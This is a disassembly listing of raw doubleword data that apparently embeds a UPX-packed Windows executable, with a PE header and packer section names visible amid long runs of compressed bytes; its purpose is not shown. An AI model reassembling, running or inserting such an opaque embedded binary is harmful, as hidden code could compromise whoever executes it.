		dd 0B3CF435Ch, 7099A47Bh, 0CA83E61Dh, 0FFF23CFFh, 0C0F3FD8Eh
		dd 0FFFBEFA5h, 94D7713Fh, 311AF33Ch, 0F680F95h,	0B9BFDD8Dh
		dd 87F7FEDBh, 0A243D944h, 5313D69Ah, 4E90F180h,	0CB006B6h
		dd 0F49AB200h, 1ED600EBh, 0E2B571F9h, 209F54B8h, 0D2484D07h
		dd 96EAA634h, 85472073h, 4AB047A7h, 372147EDh, 134E98Fh
		dd 0EDE25DA2h, 7865C349h, 0C9FB9E86h, 80EC36CAh, 0F8D11D50h
		dd 2D10E08Ah, 7938D792h, 0A0979D6Dh, 69963F1Dh,	8C4158C4h
		dd 9A4FC723h, 96B3D355h, 0C0E6B5B5h, 0EC39F540h, 775803Ah
		dd 6FC25DC4h, 9ADBD7A7h, 0C340F716h, 2AEE688Ch,	0F7B0B9E8h
		dd 1B6EE03Eh, 0B8F639CEh, 0C21EB30Ch, 15EBD633h, 0EC05E159h
		dd 42BF138h, 0E06BF37Dh, 0A663E466h, 2D71EB2Ah,	0F9EB7975h
		dd 54EACE4h, 0C87B5472h, 0EE7B2E59h, 9DE4AE9Bh,	88AF11ECh
		dd 47961E7h, 9C5BBE21h,	1B53A81Fh, 7F330DD9h, 0B28EC7E4h
		dd 0D1DC8232h, 9CF45F73h, 7B1BB8C1h, 600D732Bh,	7DACC21Dh
		dd 7F7FD977h, 0B3DBE1A3h, 6DB059EEh, 2267F92Fh,	0AB481753h
		dd 83EEE0BDh, 9DE7323Ch, 176ED0F5h, 34F84B1h, 0C144BB34h
		dd 3282E89Ah, 0E4BEE9B5h, 0A09F879Eh, 4BFFF109h, 2B2D4FEEh
		dd 0BCD018A6h, 839AF76Ch, 0C711194Eh, 884C9709h, 9764C697h
		dd 2D6E1237h, 0BC0232AFh, 0F66F014Dh, 0E7149F39h, 7F3D148Ch
		dd 6722FA43h, 0A1AA19C3h, 727F2082h, 4D27379Ch,	0F23F2637h
		dd 20E2EC80h, 78BA0D63h, 0ACC7FB47h, 0D16FD0E3h, 0EC8520D6h
		dd 7C02F911h, 3A959176h, 3DEBDEBh, 0F56F63AEh, 0FB814101h
		dd 65ADBD69h, 9422F109h, 0D9A303B9h, 8304D7DAh,	3BBCDE78h
		dd 9641E07Ah, 7A2DF0C7h, 0D77DA2F6h, 0D2436FFDh, 0C9E0C7A7h
		dd 0E652B8BDh, 0B5D2B36h, 0C544B182h, 0BA8B3D36h, 0B668361h
		dd 4C8BD036h, 0E561171h, 1E515DEBh, 0A7CF7C80h,	60B72D89h
		dd 0BD48218Dh, 25451DBEh, 7B905E8Ch, 99F8BDB4h,	0A96EFD91h
		dd 0B4BE0098h, 96327EF5h, 92C753F6h, 0B9F1EBC3h, 59EC1704h
		dd 0ACD6322Fh, 73B416CBh, 0EEBDCF5Fh, 18E9003Eh, 0D479580h
		dd 0D7EC243Bh, 2D237BE0h, 4326BC0Eh, 0E36AEE6Fh, 8ACB1FDh
		dd 0A9371875h, 0EC72D015h, 0E359B239h, 2FF666E3h, 0AE304C1Ah
		dd 0C9C4EB5Fh, 397E24E9h, 0C6F9EF2Fh, 0EB7A6C22h, 27CBC171h
		dd 0BEE9B542h, 0FBB9F8D5h, 641ED9E0h, 4BF31CF1h, 0A2FEB0A5h
		dd 0E5DC3EE1h, 729399C2h, 0EB3C04C2h, 40F34919h, 1681EDCDh
		dd 76B4618Ah, 94AA9524h, 4F6E24BBh, 0B31B18A3h,	0D2C39B58h
		dd 0E65E32CBh, 53E5D149h, 985DB4E0h, 8B3C815Bh,	0CC178BACh
		dd 85638A94h, 7D106F76h, 0B08B5BEh, 6D3DEDCBh, 0DF8E55B4h
		dd 0DE5B9FD8h, 781AB487h, 3DA9688Dh, 70BF76B3h,	57D8913Bh
		dd 89F22DDDh, 0CD12EF19h, 630B6D8Bh, 140B2977h,	0EE9B2847h
		dd 0C90FACBDh, 7ECB13FEh, 0D971EF3Eh, 2243BEFDh, 897BECF8h
		dd 0A290D1AEh, 0FBD196BEh, 383DBB80h, 19A8AD55h, 5D295CF0h
		dd 0F03ABA8Ah, 2FDA30DFh, 7C6176B6h, 456EFDCFh,	0F1B57964h
		dd 2411AECBh, 0E352ECF8h, 14ED89B7h, 0D5A44758h, 0D824F0A7h
		dd 69E3BB8h, 225F220Fh,	68058677h, 0E8D83EA7h, 4EF3C911h
		dd 385DD1C3h, 137B9AFAh, 897B7BB8h, 0E8DF481Ch,	88439D37h
		dd 0C61671B3h, 7F2735Eh, 0A1DD8589h, 0BD81EC33h, 81A9578Bh
		dd 0B2E02B5Fh, 0F05BEB00h, 181AB254h, 601662EDh, 158DB1A3h
		dd 560229Dh, 6E6D00E5h,	0F86B9DCFh, 0D2D89C3Ah,	59E17518h
		dd 4276CEBFh, 0F1A2D4FDh, 733ABF3Ah, 5B1BFBDFh,	0FD375A9Eh
		dd 0D681B7CFh, 64B05356h, 6A52418Ch, 0CCD3567h,	60BF1076h
		dd 3DD47CD9h, 0F5DDA6C8h, 0FFF7DDBFh, 8F8D796Fh, 88B4A7FBh
		dd 65D53325h, 0A1EE4DFBh, 3F58BF82h, 2BEF243Ch,	0E3448BF5h
		dd 0E93C1F21h, 0A5A730F8h, 67AC8798h, 6BB53BCCh, 7D99B123h
		dd 0E76827B2h, 0C44B3E64h, 0D065A4ABh, 56511C26h, 0B6A6F031h
		dd 0AC43DA80h, 2F2CD89Bh, 0F936AF6Dh, 652E9C85h, 8D76850Dh
		dd 64C578CFh, 3FB50280h, 11BE34F2h, 8D4822D1h, 0AA7D164h
		dd 97DD97B7h, 0D9CCD257h, 0A4176801h, 0D7CE04F7h, 911C0E07h
		dd 4FA2EA05h, 7CE3CB6Ch, 852C7B4Ah, 85009DB4h, 9C69C6D8h
		dd 0C66164B2h, 0ABF906A3h, 0D615344Dh, 2D181F47h, 0EC7F4207h
		dd 8E7B3ABDh, 0B1D0C9AAh, 0D1FE0886h, 1E67EF05h, 403BECC2h
		dd 0B9EEB3CFh, 0B527325h, 3E5CAEE2h, 4E3208EAh,	8119F7C1h
		dd 2D6CC1Fh, 0ED023269h, 0A90C863Ch, 59CF0870h,	93C3D500h
		dd 73A27073h, 0FE291F0Ah, 5C9569F6h, 645A824Ch,	0ED14D0DCh
		dd 12652EECh, 0EF790E35h, 0D27DA920h, 8AF73DAFh, 92EF1EF1h
		dd 6952204h, 0A4EE07EEh, 5A2CDED1h, 0EF4B9C21h,	4CFBE80h
		dd 0E9E9B0E8h, 0F6C8EF12h, 0AFD20470h, 691E833Dh, 7EB7D8EEh
		dd 0B7FFF1B9h, 0F703440Ch, 7318D04Bh, 0EB257E8Ah, 22B77960h
		dd 0E7490D7Ah, 0E38816A3h, 8CF3D4F6h, 0FCA465BDh, 96B8ED42h
		dd 0EE7BFF89h, 7B150325h, 0D608E30Dh, 0F2CE24E5h, 0C3675849h
		dd 0BA6A2D70h, 6166CABEh, 6895E70Eh, 0BE119937h, 0C65236DDh
		dd 0EE0435B2h, 1963F8E4h, 7FC4ACE8h, 6B4978A8h,	8C67EB57h
		dd 5ED33EA9h, 0B40F39FDh, 2C15B38Eh, 0FAA73F3h,	261F806Dh
		dd 0BE50B027h, 0A60F646h, 2F703192h, 81EC9C78h,	479018DDh
		dd 0FEB782F2h, 6A2EA223h, 0FD7B1F8Eh, 3223D22Ch, 2A9F9350h
		dd 0DA0FBD5Ah, 0EB89798Ch, 1EEC3525h, 5874DB76h, 0BBD860C9h
		dd 0C7C3F039h, 3C977BDAh, 0F7F0A41Bh, 76B2B392h, 6FB25F41h
		dd 812815F2h, 61DE535h,	0B8ED7B1Dh, 3EE540EBh, 0F7910555h
		dd 98C4E18Eh, 0EDEC9061h, 36D3866Ah, 0FE0B5E22h, 0C884C4B3h
		dd 0B8F0FF73h, 96D6B2B0h
		dd 0B6CB6B67h, 2A7273B6h, 9BC20BF5h, 7F10E28Eh,	15B58636h
		dd 2B7F5B6Fh, 2D618C7h,	333FDCF6h, 0D684E51Eh, 0AD1F243Bh
		dd 1C709F14h, 68DC7B1Eh, 0D013D031h, 835D51D9h,	0DBCE34B4h
		dd 5BE50DF5h, 74CFE575h, 92739315h, 3F67CA36h, 772BAFE8h
		dd 0F0B0E70Bh, 23697B59h, 71BBCD4Ch, 0DE3A59Ch,	74A5B6C9h
		dd 0F63E06BEh, 1F39B003h, 0F3DC2A78h, 0CFF75DBFh, 0B04D7BEEh
		dd 57BB3DEAh, 9F66A70Bh, 0ADB2A470h, 58A43A16h,	0D6117AA5h
		dd 298B4BC8h, 0DF11CE50h, 1CCB9B25h, 73D1A63Ch,	31CE3FD8h
		dd 87D95E07h, 0A04FB2D3h, 138BF0EBh, 2AD229C3h,	0B0396527h
		dd 82999619h, 836EE433h, 7FC8FEE6h, 0F038D713h,	0BFC67244h
		dd 14AB8D40h, 2239A541h, 0B976F14Dh, 0E48D51D7h, 5112B817h
		dd 34F25935h, 8883D54Bh, 72B90A6Bh, 6641F3CDh, 0ADBC461Fh
		dd 0CF1ED2D7h, 27C7F765h, 87D38BDCh, 1D6198A7h,	0E713BFFCh
		dd 0C4E27489h, 0A4AD2136h, 0EEB36AEBh, 9B33498Dh, 0A10FBBECh
		dd 89429CE2h, 0B29F717Ah, 95140783h, 79F78C60h,	7B94FD76h
		dd 0CFF9AE78h, 0AEEFAF55h, 0BCE7FD40h, 4C7184D7h, 7A30EDA4h
		dd 8554B75Eh, 0E9451734h, 8F199B19h, 1AF40875h,	8B7FA693h
		dd 5713B02Ah, 3CDBA82Bh, 6C55E0A0h, 54AC1553h, 37A3B483h
		dd 0BBC75C1Ah, 601A4F88h, 960A9C19h, 234BF7D4h,	8421DB72h
		dd 0A2B66815h, 0C04DE718h, 0DC835D1Ah, 0AC2A508Fh, 91FF1E5Fh
		dd 0F8E95AB7h, 0FB14E10Fh, 912701A0h, 0E248B7BFh, 0FCF49601h
		dd 4651EFDEh, 4CAAA2ACh, 921E7669h, 55E4229Dh, 504BFFA3h
		dd 35584AF2h, 269B23DDh, 0A45A351Eh, 0DE5DC01Eh, 0BF411C63h
		dd 8F7FAAECh, 4C521D56h, 0C8A7F563h, 0F70DAA45h, 921E8780h
		dd 39007107h, 444EBC9Dh, 5EA034ADh, 0E4535D37h,	4457310Ch
		dd 0AC4887A5h, 1749C8F7h, 0F36FF593h, 2FAD10F5h, 68A451E7h
		dd 0CD5CD43Dh, 23F90AF0h, 35848043h, 54291C5Ah,	0D2D19626h
		dd 61F2F3D1h, 16447B31h, 0F2B3D748h, 7F73DD52h,	0A458C96Eh
		dd 7C01C495h, 0CF5AB553h, 0F609C21Dh, 0BB1A0EBBh, 5EE89078h
		dd 6B0C039Dh, 399A49CFh, 0B2958603h, 5160D011h,	7BCA61E8h
		dd 0E257E7C5h, 2F365D91h, 695C80ADh, 6A41FE1h, 7D85CC6h
		dd 0A6F86D30h, 77039E4Fh, 1686A2FDh, 96638D3Eh,	0B661E9E0h
		dd 88D714A1h, 6A2B2E2Fh, 0E4778CBFh, 8D228E53h,	40A635AAh
		dd 199F73DDh, 34FBA3ABh, 0AB9988C3h, 0F5362E4Ch, 6ADF6D0Bh
		dd 0BDA23E9Eh, 1DB4E650h, 0D790EB46h, 6E8A5A34h, 0A41BBEC1h
		dd 7341767Bh, 983F298Ch, 2589F8Fh, 73B5600Eh, 0E7DF82EEh
		dd 0FBE0EA90h, 3BC5F24h, 92BB1A62h, 0B123F39Eh,	500BE483h
		dd 0F5429E75h, 1EF00B79h, 99CEFD64h, 7788B4B2h,	8E3118Ch
		dd 0F26A33B0h, 147192E8h, 76E904EFh, 4DF7C9B3h,	5236C288h
		dd 0A23DCC47h, 3EAA8755h, 7A7E79Dh, 51C45F11h, 0D878AF30h
		dd 11F2A854h, 5B42EEB1h, 9290CD10h, 37593BDCh, 62A3159Dh
		dd 46B257CDh, 0B2C1B5EDh, 67E316EFh, 0C64471C3h, 0C07C2EBCh
		dd 48CF0510h, 9F948EF0h, 4B19A939h, 49187C95h, 952732Eh
		dd 0DD4AD89Ah, 0B4758F26h, 6E892CF4h, 2C5F2F74h, 15F6A9F3h
		dd 0FFCD600Eh, 0F2F325BBh, 3D8AA16h, 0B0B6778Fh, 0E95D37AEh
		dd 48974DABh, 0DA96DAB9h, 7571D44h, 883967EBh, 8E2639h
		dd 0ACC7C34Fh, 0C70AA6F7h, 9C88AF29h, 8ED56896h, 0A278058Fh
		dd 13BB6713h, 0F1920304h, 51E7DF12h, 8F4C6A6h, 0E2C60434h
		dd 0F7A17F36h, 16615A17h, 0B6AEF74Ah, 12BAECC5h, 0E21DC5DEh
		dd 0D937ECF9h, 75CB91F9h, 86FCD8F4h, 0F769E69Ch, 30E296C1h
		dd 3E5896ACh, 5FE916D7h, 0FD7D196Eh, 82F2B434h,	9D64579Eh
		dd 5924A324h, 1ECD10C0h, 7BA25234h, 0AB4F1E94h,	0CC509FCCh
		dd 8B88A135h, 672809B3h, 27DF4B9Ch, 0D74391C8h,	7BDE7EA3h
		dd 0D477FCE6h, 466B7FF9h, 0C7B1872Eh, 79D3F3E9h, 635F9D57h
		dd 6D37A61Ch, 0B2BC6E7Ah, 879C306Dh, 0C623D4AAh, 0A8BBA692h
		dd 17BC0FBh, 0B9763F5Bh, 0D3C7E0AEh, 0DA4DB1E0h, 0D66168CEh
		dd 77B57334h, 0D1C739DCh, 83793AC2h, 6963157Dh,	37D7533Fh
		dd 79751F34h, 471D1759h, 0BD9D62F0h, 0C6F25C76h, 0F58CC20Ch
		dd 96ADD28Dh, 3959DC93h, 237678D7h, 0AB181BF0h,	7BEFA1DFh
		dd 958FCB80h, 0C46E9F84h, 0E745757h, 0C8C2B38Dh, 0C205688Bh
		dd 0D6EAC669h, 7FAC9F55h, 0F35B5E5Bh, 5D1B0FF5h, 0A62CBBA6h
		dd 94751520h, 437E943Bh, 570D8DE6h, 0A18C0BEAh,	9CB26929h
		dd 87016D5Ch, 0AEC2202Ch, 92C48C1Bh, 0F94AFEF6h, 3084C8EEh
		dd 8B7EF3A2h, 1658AA04h, 5C8F3D62h, 0F5C87883h,	9C0DCC25h
		dd 76D9CFB6h, 0E93AEE15h, 686C9712h, 0C30BF1CCh, 6177BAF1h
		dd 4D4F39A7h, 0BC85B331h, 0FBE27A4Bh, 731EBA80h, 0BBDCEBDEh
		dd 1A0AD4ADh, 7FA4C5FDh, 4CBDD360h, 0AB4A4E11h,	7B26E265h
		dd 33A5E3F7h, 0F4C85DF7h, 1C1A055Eh, 2F742E11h,	0E654CD91h
		dd 197353BAh, 523B9499h, 0E1F78CEBh, 0C2AD64C6h, 0EA296FAEh
		dd 0BA5A7E63h, 1A5BE22Ah, 9B55BEF9h, 0A27D49EFh, 6B528185h
		dd 0C78CCE72h, 5DCF9BFCh, 0B69A732Dh, 0E9AD8E0Ah, 0ED8B3761h
		dd 5E1B9394h, 3A201BE5h, 0C8EAE9FAh, 35EE3999h,	0AC66F38Ch
		dd 0D30EB881h, 0C33F6F73h, 0AA7C5ADDh, 0B7C093B0h, 705912D9h
		dd 8DB92414h, 0C8499349h, 9AB1776Bh, 11D7F29h, 53CF71F7h
		dd 0B91CE0A8h, 60F2CA55h, 5C471C07h, 0F5B14352h, 2F66F4A9h
		dd 0CA38C3F2h, 61C37EB7h, 0F656A546h, 0DAEB5F28h, 0D210C4C8h
		dd 3215CD69h, 7BB652B1h, 29E6D53Ah, 26E29727h, 5BF90DB6h
		dd 0E876FACAh, 189DF1C2h, 556C83F4h, 7C5B996Ch,	11F27ADDh
		dd 8DAB5978h, 0C4FBC967h, 3F7D317Dh, 9FC05BF3h,	0AC3780BBh
		dd 0EF1A8D3Eh, 0CBE07307h, 6FE6EA76h, 0B7C788FBh, 7C1444DFh
		dd 0C56907B7h, 65B7297Ch, 0E3C7090Fh, 83387D2Ch, 0B8F2A877h
		dd 4A8DA843h, 48D631CDh, 2D3CCEB7h, 1A7B49B9h, 2E75ED2Ch
		dd 0EC435F30h, 88EEC8E2h, 88E6F3F0h, 4354738h, 0FC36353Dh
		dd 0F74BDEDFh, 974DCDBFh, 4CAD499Eh, 9F7C4E3Eh,	58768DB0h
		dd 0A70BE2F7h, 1712280Dh, 0FDCDCA7Ch, 708F2772h, 18CE82E3h
		dd 9AD8BA77h, 2EFF7C62h, 637B013Dh, 0E71D2471h,	73777270h
		dd 69A25D72h, 0E5774DE7h, 0A9AEF040h, 8552B956h, 7FF3A54h
		dd 976BF74Eh, 27A95DEBh, 0C827EFA4h, 2FF3DA0Eh,	0BEFDACE1h
		dd 5B660976h, 0FBE9CFE3h, 0AF78B432h, 475E6B06h, 0BB68278Dh
		dd 71CBB911h, 39B3B84Ch, 29F7E663h, 5BB924D8h, 0E82E7690h
		dd 0D4F5992Ah, 50BC8C75h, 8FE5CF58h, 0FCF4CBB8h, 7AFD2533h
		dd 798FAE12h, 0B0B4F631h, 4F738757h, 53740A25h,	0CD8FF2D5h
		dd 0E839954Ch, 7E302571h, 44F68077h, 0E077C718h, 7BD788ACh
		dd 9E53F1A4h, 511B3858h, 0E3D5BD4Eh, 0D696545Eh, 71F5C51Dh
		dd 0E6F4B6E7h, 0E5977AE8h, 0D4474B06h, 3D7352B9h, 0CD20EEA0h
		dd 96263BB9h, 241CF149h, 9B6FE242h, 8DFCB2CFh, 4C56DF1Ah
		dd 0DB19DAA5h, 1D2743C7h, 0D2B07BFAh, 35EFE3CCh, 0D29509FFh
		dd 0B59EA83Dh, 0C0D7BC5Bh, 0CE3AEA32h, 0BF1DA1B8h, 0A01F630Fh
		dd 97BE03DCh, 0CB90D9Bh, 0D80ACEB4h, 0A89FA5BEh, 319A462Ah
		dd 89036FB0h, 55F2D43Bh, 6AEBB8C3h, 6FDFD406h, 0B875957Ch
		dd 4BDB7449h, 0F3FEEBE8h, 0BF316F75h, 0F727D09h, 0C93A0729h
		dd 0E06FB1CCh, 0F6DFF3D1h, 0B95B9FF3h, 6D18B595h, 0AC7B5571h
		dd 77F79FF1h, 0AEE69658h
		dd 0FDD29D56h, 44F43A06h, 0F1DE2634h, 0A2B0BFB3h, 25AC4A6Bh
		dd 62305CE2h, 11F43907h, 249A2B41h, 0B66050ADh,	0D6A47241h
		dd 0D812788Bh, 4EEF3C7Bh, 0B9F84473h, 5D03DEE8h, 0CAEA6FA7h
		dd 983CE219h, 9FA6FD9Dh, 59CFD3FDh, 0BC33D226h,	67C8FC15h
		dd 2CE6AE63h, 71E407DCh, 0F77A895Eh, 36AE3AAEh,	313934DEh
		dd 0B89076BBh, 0E59362E5h, 0F5D136DFh, 8AD88DEEh, 0A6B1E62h
		dd 86A539F7h, 0FC95D926h, 0A48467FDh, 3C64EAEFh, 0FDB665DFh
		dd 0D1A84329h, 0B7222FA1h, 0F74E6635h, 0E1E4955h, 4AB238DFh
		dd 93C0379Fh, 0B95AF92Fh, 9CFE6F4Ch, 56F6C522h,	7F64D541h
		dd 0B6295CF2h, 72FCE6D4h, 1AEE1BDEh, 0A835B7BCh, 5D39AC88h
		dd 60749AA7h, 0C82F6F84h, 0DEE4EEFBh, 0E675AE1h, 53C8D71h
		dd 0C025DBC6h, 0EBD936DBh, 0FBE27658h, 1B5F16F3h, 0F134FD4Fh
		dd 0FA18B8DDh, 8F543337h, 37A620EFh, 7C3EADE9h,	0F5C0A7FAh
		dd 0AC68AF42h, 896E62E5h, 0CB583F65h, 0EFA4AE5Fh, 3618E247h
		dd 0FE9606EEh, 14D8E905h, 8E7B579h, 0E813EF76h,	3D04380Dh
		dd 2519F961h, 0BAB1BE33h, 283444C8h, 889D9291h,	0B9BD806Dh
		dd 0CC2FF93Bh, 7ACC9D5Fh, 5DFBB563h, 821D67AAh,	5E4AB787h
		dd 25F28877h, 0F3D31DFBh, 7789D812h, 2BB02E13h,	33B0D5B1h
		dd 6AB81583h, 8DBBA7E2h, 0DF5D576h, 235D96BBh, 68F5D370h
		dd 0EC936C44h, 0BC33B9AAh, 0C3F957E3h, 0D555D733h, 13BD7317h
		dd 0D5C4C115h, 2DC1AAEFh, 0EAEA9CDFh, 0D8DCB8ABh, 786DCB3Ch
		dd 0B46F8937h, 0B6FD3B1Eh, 275BD2C4h, 0DF1F2D62h, 0DB9C7A3Ah
		dd 984AA545h, 0B773AF8Eh, 65D4A1Ah, 2EB94B16h, 81D5DD08h
		dd 0C2B8EE15h, 5645F3C6h, 0D573D24Fh, 0C154C106h, 8B17EE52h
		dd 2DDCEC33h, 0F588A9A0h, 6605A084h, 4B899670h,	298C9E2Bh
		dd 0D635588Ch, 0DDCF7225h, 22ADCAABh, 0BB18D830h, 48CCD75Bh
		dd 466E71F3h, 0B3C74AE3h, 1BF38375h, 94D4E7E4h,	37A2ADDFh
		dd 986ED939h, 66185BD2h, 4AE31246h, 2BBF7A49h, 0F12814EEh
		dd 4F67F5C4h, 656707D2h, 95787743h, 0C8EABF39h,	0EB869E38h
		dd 7F34C575h, 698C9632h, 0DD20DC3h, 8496FDDAh, 0A927741Ch
		dd 637DB3Bh, 0F999ED61h, 0E6AE735Ah, 6F1A3DC3h,	0CB9A8DFh
		dd 3F2BAF4Fh, 0BFE922F8h, 12B49DFCh, 0BD76B017h, 4DFB35EFh
		dd 70DDFFEFh, 1DE136FAh, 6DFE11Fh, 0E4E5B37Bh, 0EA67216Eh
		dd 0DF48AF50h, 0DD1E897Eh, 0BB971F37h, 671CB9A7h, 55317C4Bh
		dd 8CE5883Dh, 7775A5AFh, 0F2D3C03Fh, 211C7239h,	1C6EC419h
		dd 0B96EFC6h, 0A5F89DB1h, 0FAF76CD3h, 758E2A02h, 4CB307D3h
		dd 81ED96A7h, 0EB99F9F8h, 0DD08BDE4h, 0DC8426E4h, 0DE3C7E3Ch
		dd 0E71D6CE0h, 912B4FB1h, 9CBD5236h, 0ABD6B0F8h, 8ED61098h
		dd 0EF816F22h, 0FD3CCAE7h, 3BAE969Eh, 962112BEh, 2BAD9DECh
		dd 0EDBABEB3h, 57BC3165h, 0CB6184A7h, 0DE17B82Bh, 3E369E01h
		dd 0A4F79B6Ch, 0F3CA222Dh, 7C686A80h, 2C284013h, 0AF9E69Dh
		dd 0B9B9570Eh, 9EBBAFEEh, 0ED3CE5BAh, 0BE465A9Fh, 1D3F897Bh
		dd 0CAEB9F7Bh, 7DE8BF73h, 9630DBF0h, 0CDD4E86Fh, 8BE4059Ch
		dd 0B3C616D9h, 0DC679CE2h, 0CCC83831h, 36FFDD7Ah, 64B9FE32h
		dd 0BECEE63Eh, 0CC82AA35h, 0E3D339F5h, 0DF1B6FC3h, 72178AA1h
		dd 4DBD58F9h, 989E3B04h, 5D7A6EDBh, 0C445CE5Dh,	0CB1145EFh
		dd 6CB2FB67h, 0C756EC7Fh, 3359A76Eh, 0F2A01EF7h, 3B487CDh
		dd 1268DE56h, 0DBF37FF7h, 39C4FA24h, 0BACFFF68h, 0DF882D90h
		dd 0BF771096h, 2BAB9BE1h, 0E2C17FB0h, 91CEBA95h, 25E6F1F7h
		dd 7DF4BDE6h, 0A41772FFh, 66F657F8h, 0C19359DAh, 164F8D3Ch
		dd 6E562347h, 0BED24F62h, 0A1324B81h, 0EFCF06FFh, 2C83h
		dd 45500000h, 14C0000h,	59BE0008h, 4660h, 0
		dd 0E00000h, 10B010Fh, 5253h, 40000005h, 4, 0A10B0000h
		dd 0D000000Ch, 0D0000008h, 0Eh,	10000040h, 2000000h, 40000h
		dd 0
		dd 40000h, 0
		dd 0D2000000h, 10000014h, 6E800000h, 20009h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 0D0000000h, 660014h,	14h dup(0)
		dd 0D0000000h, 288000Eh, 6 dup(0)
		dd 50550000h, 3058h, 20000000h,	10000007h, 20000000h, 10000007h
		dd 3 dup(0)
		dd 800000h, 5055E000h, 3158h, 90000000h, 30000001h, 90000007h
		dd 30000001h, 7, 2 dup(0)
		dd 400000h, 5055E000h, 3258h, 10000000h, 0C0000000h, 10000008h
		dd 0C0000000h, 8, 2 dup(0)
		dd 400000h, 742EC000h, 747865h,	0
		dd 0D0000005h, 8, 0D0000005h, 8, 2 dup(0)
		dd 200000h, 612EE000h, 61746164h, 0
		dd 0D0000001h, 0Dh, 0D0000001h,	0Dh, 2 dup(0)
		dd 200000h, 642EE000h, 617461h,	0
		dd 0D0000002h, 0Eh, 0D0000002h,	0Eh, 2 dup(0)
		dd 400000h, 702EC000h, 61746164h, 0
		dd 0D0000004h, 10h, 0D0000004h,	10h, 2 dup(0)
		dd 400000h, 692EC000h, 61746164h, 10000032h, 0D0000000h
		dd 2000014h, 0D0000000h, 15E70014h, 5FADB39Ch, 0DFE973E1h
		dd 4086A4h, 0DFDC000h, 6DB47FB8h, 791D976h, 3F9BCBE5h
		dd 0EB387A6Fh, 0AE7165CBh, 2F950915h, 994CA897h, 0A7D3C06Ah
		dd 86A963B6h, 0A7E1F31Eh, 0C9352CCEh, 0E63D9EE1h, 27443E2Fh
		dd 0AEB6653Eh, 5B74B9D9h, 0C4A4EDEDh, 0D353AFA7h, 854403D2h
		dd 0D86F3996h, 0E623F098h, 0CA8AF98Ah, 0E56A6775h, 0DF71ABA6h
		dd 0B5982B7Ah, 0AAA0F98Ch, 0A09BF30Dh, 18FE768h, 0DC6E7F2Ah
		dd 4DCE799Fh, 662F9BDAh, 21C3A472h, 0A6397D43h,	0EBFF39E9h
		dd 0AEE59444h, 8E6A331Fh, 3C1BFD72h, 0FAF7FEAFh, 0BD1EEF05h
		dd 31F658BFh, 22C1A66Dh, 790A9BE5h, 0AEF7A2F3h,	0D37AB4DFh
		dd 0B3AAE8A5h, 0E76DA7DBh, 5D7CBBF7h, 0EEC6DBCCh, 8AA9DF9Ah
		dd 176A574Bh, 0CF8514AAh, 0B3C69FBDh, 82F64C37h, 0B37152F3h
		dd 0FD7C571Bh, 67EFA614h, 0CB3F718Ch, 5D245E6Bh, 2392C8D4h
		dd 0EDFEE79Ah, 47CCEF0Bh, 25ED778Dh, 0DB2D55DFh, 0B278BE6Ah
		dd 0ADF4E5D0h, 966C1B66h, 0D3506C1Ch, 0B6567D4Ah, 0EDAF3164h
		dd 0CDCE0D7Fh, 49CFA4EFh, 75B43ACCh, 1343F3CFh,	13F4DD5Eh
		dd 0CAECFE3Eh, 0F5151BD1h, 671B16D9h, 0A064FE1Ch, 0D8B9D1A2h
		dd 0DCEB737Dh, 8EB7794Fh, 57A9BCA8h, 7D5CFC7Ch,	0F4CCF366h
		dd 97BF2933h, 14926EAFh, 0B26DE250h, 0B9F85A0Eh, 32EA656Eh
		dd 3BABFEE7h, 0BFEE2B26h, 0C7C5A5EAh, 0EAE4FC6Dh, 8B4CF7FEh
		dd 0DBF44B7Ah, 99B3735Dh, 0E62CDC72h, 0D4CF5F7Ch, 0BA64D16Bh
		dd 196BE7DBh, 7991DD4Fh, 0F17C151Eh, 33338ACBh,	40C3D895h
		dd 780007B9h, 0CEC218h,	2D000000h, 2D5B9596h, 4C5B932Ch
		dd 4F5B9326h, 3C9BD775h, 0C2DE9B48h, 8250F668h,	0F1988398h
		dd 632196D3h, 2AC6C7DEh, 61E44A46h, 0E60643A1h,	439CBFD4h
		dd 0D61B7C7Dh, 0B3B28F60h, 8E9A19A9h, 0BAAFCEEFh, 107A527Eh
		dd 8C34D42Bh, 0ACAF6313h, 0FD36E967h, 8DE6C041h, 0F279A474h
		dd 3D7607C0h, 11415726h, 0C2DACEECh, 89A260D1h,	2F22971Dh
		dd 5CFDC260h, 0BEE18BCEh, 0C4AE57Bh, 356D38C6h,	20167749h
		dd 0A0198EB2h, 70655F02h, 34277386h, 0A3C5141Ch, 0CD82AC65h
		dd 461A8669h, 9CB819AAh, 0CDFE95D7h, 2F897F8Ah,	35EB017Ch
		dd 861F27C3h, 744A4F5Bh, 235FA85Bh, 0EF6478CDh,	0BE971092h
		dd 0B8A656B8h, 0EC16B42Ch, 0CDC84761h, 0B63C4DA3h, 19B3D25Bh
		dd 69A7A94Ch, 0C1030808h, 1249E5F5h, 0AAD79DB4h, 80C4FC11h
		dd 0ECEB7F46h, 0AA445D53h, 529441C5h, 7D4F2002h, 0D45D686Ah
		dd 0FD4E07FFh, 0BC344AACh, 17C7853Dh, 0CD114924h, 5C5EFA52h
		dd 0ECF85F91h, 0B6EC962Fh, 69F9E34Ah, 1DD57F7Fh, 0E642CA23h
		dd 6BD4AF61h, 675F97CAh, 7BA942BEh, 0CD293630h,	7B12A48Dh
		dd 57C97A78h, 0CF4D16CCh, 0DF940224h, 9770B660h, 2182B7Ch
		dd 470255F3h, 5383AAC7h, 0D28E9FBBh, 1C990248h,	375EEB56h
		dd 160E7566h, 0F19ED7CCh, 360756FCh, 0A0C7BCF9h, 0C86FB224h
		dd 0FA3E0F6Bh, 80C2DA47h, 32482FDh, 95BADEEAh, 0A1FD98A9h
		dd 162B252Ch, 0B2D78572h, 0ECBAFA65h, 845BE9EDh, 0D733611Bh
		dd 0B2D0FDE9h, 0ADCBB753h, 0DEE62E64h, 0B1C97C14h, 4C368F2Bh
		dd 3E6032ACh, 35DBCA0Dh, 0F2F13748h, 0AF53A74Fh, 0A620BD0h
		dd 32CB2007h, 9E457713h, 324B5DF4h, 0FD520B85h,	446EE24Fh
		dd 0C67AB0BEh, 0E0026C79h, 92E5E6EDh, 28EF2ECh,	166926FCh
		dd 279031F1h, 0B4C72321h, 29CBBA30h, 4F0ECB66h,	122CE13Dh
		dd 0B91B9A08h, 6D0FA312h, 0BF19190Eh, 8A37B5AEh, 1BF13C4h
		dd 0F8EFCD1Ah, 3721DABBh, 219DD25Eh, 81D50C95h,	1057F7B9h
		dd 3A1DE282h, 0EE391167h, 0FDFA41F4h, 6439E003h, 0CA9341EAh
